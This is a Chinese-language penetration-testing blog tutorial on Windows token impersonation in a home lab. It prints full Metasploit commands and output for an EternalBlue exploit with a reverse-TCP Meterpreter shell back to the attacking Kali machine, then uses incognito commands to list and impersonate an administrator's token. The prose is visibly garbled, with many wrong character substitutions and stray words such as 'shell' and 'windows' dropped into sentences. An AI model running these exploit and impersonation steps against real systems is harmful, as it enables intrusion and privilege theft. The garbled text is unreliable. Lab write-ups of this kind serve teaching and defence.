令牌(Token) 就是系统的临时密钥,至关于帐户名和密码,用来决定是否允) 许此次请求和判断此次请求是属于哪个用户的。它容许你在不提供密码或其余凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统从新启动。
令牌最大的特色就是随机性,不可预测,通常黑客或软件没法猜想出来。令牌有不少种,好比访问令牌(Access Token)表示访问控制操做主题的系统对象;密保令牌(Security token),又叫做认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;会话令牌(Session Token)是交互会话中惟一的身份标识符。
在假冒令牌攻击中须要使用Kerberost协议。因此在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是经过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工做机制以下图所示。shell
客户端请求证书的过程以下所示。windows
攻击机kali:192.168.1.104
靶机win7:192.168.1.102安全
msf5 > search ms17_010 # 搜索永恒之蓝漏洞利用模块 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 2 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection 3 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 4 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 5 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution msf5 > use exploit/windows/smb/ms17_010_eternalblue # 用这个模块,注意,靶机别打补丁,别开防火墙,以保证试验成功 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 用这个payload payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102 # 设置目标机IP RHOST => 192.168.1.102 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104 # 设置攻击机IP LHOST => 192.168.1.104 msf5 exploit(windows/smb/ms17_010_eternalblue) > run # 开炮开炮开炮!!! [*] Started reverse TCP handler on 192.168.1.104:4444 [*] 192.168.1.102:445 - Connecting to target for exploitation. [+] 192.168.1.102:445 - Connection established for exploitation. [+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes) [*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima [*] 192.168.1.102:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service [*] 192.168.1.102:445 - 0x00000020 50 61 63 6b 20 31 Pack 1 [+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.1.102:445 - Sending all but last fragment of exploit packet [*] 192.168.1.102:445 - Starting non-paged pool grooming [+] 192.168.1.102:445 - Sending SMBv2 buffers [+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.1.102:445 - Sending final SMBv2 buffers. [*] 192.168.1.102:445 - Sending last fragment of exploit packet! [*] 192.168.1.102:445 - Receiving response from exploit packet [+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.1.102:445 - Sending egg to corrupted connection. [*] 192.168.1.102:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 192.168.1.102 [*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49163) at 2020-09-29 19:22:08 +0800 [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > # 能够开干坏事啦
此时咱们经过一系列前期渗透: https://www.jianshu.com/p/03a1c13f963a,已经成功得到了目标机的MeterpreterShell,首先输入getuid命令查看已经得到的权限,而后输入getsystem,发现提权失败。
(咦。。。直接system权限我透,算了继续作,看成我没有的亚子……
服务器
咱们先输入use incognito
命令,而后输入list_tokens -u
列出可用的token以下:
网络
能够看到有两种类型的令牌: 一种是Delegation Tokens,也就是受权令牌,它支持交互式登陆(例如能够经过远程桌面登陆访问) ;还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。
由上图能够看到,咱们已经得到了一个系统管理员ge的受权令牌,如今就要假冒这个令牌,成功后便可拥有它的权限。
从输出的信息能够看到分配的有效令牌包含ge-PC\ge,其中ge-PC是目标机的主机名,ge表示登陆的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法以下图所示。
session
注意:在输入HOSTNAME\USERNAME时须要两个反斜杠(\)
运行成功后在Meterpreter Shell下运行shell命令并输入whoami,能够看到笔者如今就是假冒的那个ge-pc\ge系统管理员了。tcp
本文参考 开篇的博客连接 及 《Web安全攻防:渗透测试实战指南》
全部过程仅供演示交流,禁止用于非法用途,由此产生的非法后果与我无瓜!!!测试